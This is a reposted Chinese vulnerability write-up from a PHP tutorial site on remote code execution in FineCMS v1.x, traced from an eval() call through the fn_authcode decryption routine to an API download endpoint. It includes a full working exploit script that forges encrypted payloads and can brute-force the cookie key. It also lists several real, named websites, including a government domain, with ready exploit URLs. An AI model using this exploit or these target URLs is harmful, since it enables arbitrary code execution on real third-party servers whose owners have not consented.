网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

FineCMS v1.x远程代码执行 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] FineCMS是一款基于PHP+MySql开发的内容管理系统,采用MVC设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自...

FineCMS是一款基于PHP+MySql开发的内容管理系统,采用MVC设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自定义内容模型和会员模型,并且可以自定义字段,系统内置文章、图片、下载、房产、商品内容模型,系统表单功能可轻松扩展出留言、报名、书籍等功能,实现与内容模型、会员模型相关联,FineCMS可面向中小型站点提供重量级网站建设解决方案
===
目前该cms有v1.x和v2.x两个内核的版本,貌似从官方论坛看到两个版本都在更新维护和发布,属于两个不同产品,v2.x是采用的CI框架编写,v1.x 最新版本是1.8 ,更新日期是2014.3.23,其中v1.x版本存在代码执行漏洞,可执行任意代码。
详细说明:
上周末去成信院搞基,顺便参加三叶草组织的一个校内的比赛,题目里面有修改改版的finecms让进行代码审计,看了一下午挖到了原版cms一个代码执行漏洞。
 
 
 
在/extensions/function.php中
 
function string2array($data) {

if ($data == '') return array();

if (is_array($data)) return $data;

if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) {

   echo 'before eval $data is:'.$data.'<br>';

   @eval("\$array = $data;");

return $array;

}

return unserialize($data);

}

 

 
可以看到,如果该函数传入的$data为非数组且前5个字符为array,就带入eval()中
 
跟踪string2array()函数,
 
 
 
在/extensions/function.php,fn_authcode()函数中有调用:
 
function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$string = $operation == 'DECODE' ? $data : array2string($data);

$key = md5($key ? $key : SITE_MEMBER_COOKIE);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';



$cryptkey = $keya . md5($keya . $keyc);

$key_length = strlen($cryptkey);



$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;

$string_length = strlen($string);



$result = '';

$box = range(0, 255);



$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}



for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}



for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}



if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {

return string2array(substr($result, 26));

} else {

return '';

}

} else {

return $keyc . str_replace('=', '', base64_encode($result));

}

}

 

 
可以看到,如果$result解密后的结果满足前十位为0等那三个条件,就会执行string2array(substr($result, 26))
 
那么就可以按照他的解密方式来构造合适的加密串,让解密后的$result从第26位开始是我们构造好的payload,这样就可以带入@eval("\$array = $data;");执行指定代码。
 
 
 
其中加密的几个key都和SITE_MEMBER_COOKIE有关,这个全局常量在/config/config.ini.php中定义(Cookie随机字符串),默认为空,这样在默认安装的情况下,导致payload被解密执行。
 
 
 
下面看看怎么构造合适的加密串,调用fn_authcode($data, 'EECODE')可加密一个串,但是cms中加密时会$data把经过array2string()函数处理,这个函数把输入的$data序列化,导致解密之后substr($result, 26)的值会多出一部分,所以去掉array2string()中的serialize(),来构造加密串。
 
 
 
最后找哪个controller调用了fn_authcode()函数,且第一个参数可控:
 
在/controllers/ApiController.php中,
 
public function downAction()

{

    $data = fn_authcode(base64_decode($this->get('file')), 'DECODE');

    ……

}

 

 
控制file变量为加密串,即可执行任意代码
 
生成加密串的payload:(cookie加密串SITE_MEMBER_COOKIE 默认安装时为空,不为空可以爆破)
 
<?php

define('SITE_MEMBER_COOKIE',isset($_GET['ckey'])?$_GET['ckey']:''); //ckey 默认安装为空,不为空可以爆破



function encode($data) 

{

$ckey_length = 4;

$string = array2string($data);

$key = md5(SITE_MEMBER_COOKIE);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = (substr(md5(microtime()), -$ckey_length));



$cryptkey = $keya . md5($keya . $keyc);

$key_length = strlen($cryptkey);



$string = sprintf('%010d',0) . substr(md5($string . $keyb), 0, 16) . $string;

$string_length = strlen($string);



$result = '';

$box = range(0, 255);



$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}



for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}



for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

return $keyc . str_replace('=', '', base64_encode($result));

}

function new_stripslashes($string) {

if(!is_array($string)) return stripslashes($string);

foreach($string as $key => $val) $string[$key] = new_stripslashes($val);

return $string;

}

function array2string($data, $isformdata = 1) {

if($data == '') return '';

if($isformdata) $data = new_stripslashes($data);

//return serialize($data);

return $data;

}



$payload='array();phpinfo();'; //可自己更改payload,保证前面为array();

$encoded=base64_encode(encode($payload));

echo 'Payload is :<br>'.$payload.'<br>SITE_MEMBER_COOKIE :<br>'.SITE_MEMBER_COOKIE.'<br>Encode is:<br>'.$encoded;

?>

 

 
 
exp.php 可生成指定payload加密串,
 
然后 /index.php?c=api&a=down&file=加密串 代码执行
 

测试官网的demo没成功,应该官方修改过了SITE_MEMBER_COOKIE ,可以利用exp.php?ckey=abcd
 
生成加密串爆破SITE_MEMBER_COOKIE,依然可能导致代码执行,
 
google了找到了一些没改的:
 
 
 
http://www.whabc.net/index.php?
 
 
 
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
 
 
 
0S2ZiMHF4ZXJr
 
 
 
http://www.huoshangsao.com/index.php?
 
 
 
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
 
 
 
0S2ZiMHF4ZXJr
 
 
 
http://www.spzscq.gov.cn/index.php?
 
 
 
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
 
 
 
0S2ZiMHF4ZXJr
 
 
 
http://0579fan.com/index.php?
 
 
 
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
 
 
 
0S2ZiMHF4ZXJr
 
 
 
http://www.ccbf.cc/index.php?
 
 
 
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
 
 
 
0S2ZiMHF4ZXJr
 
 
 
http://210.26.24.56/pub/wsxy/finecms/index.php?
 
 
 
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
 
 
 
0S2ZiMHF4ZXJr
 
 
 
http://www.chncall.com/index.php?
 
 
 
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
 
 
 
0S2ZiMHF4ZXJr
 
 
 
http://122.10.72.248/index.php?
 
 
 
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
 
 
 
0S2ZiMHF4ZXJr
 
 
 
……
 
……
修复方案:
发布补丁,另外两个版本同时在维护还不能相互升级,是不是有点蛋疼

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论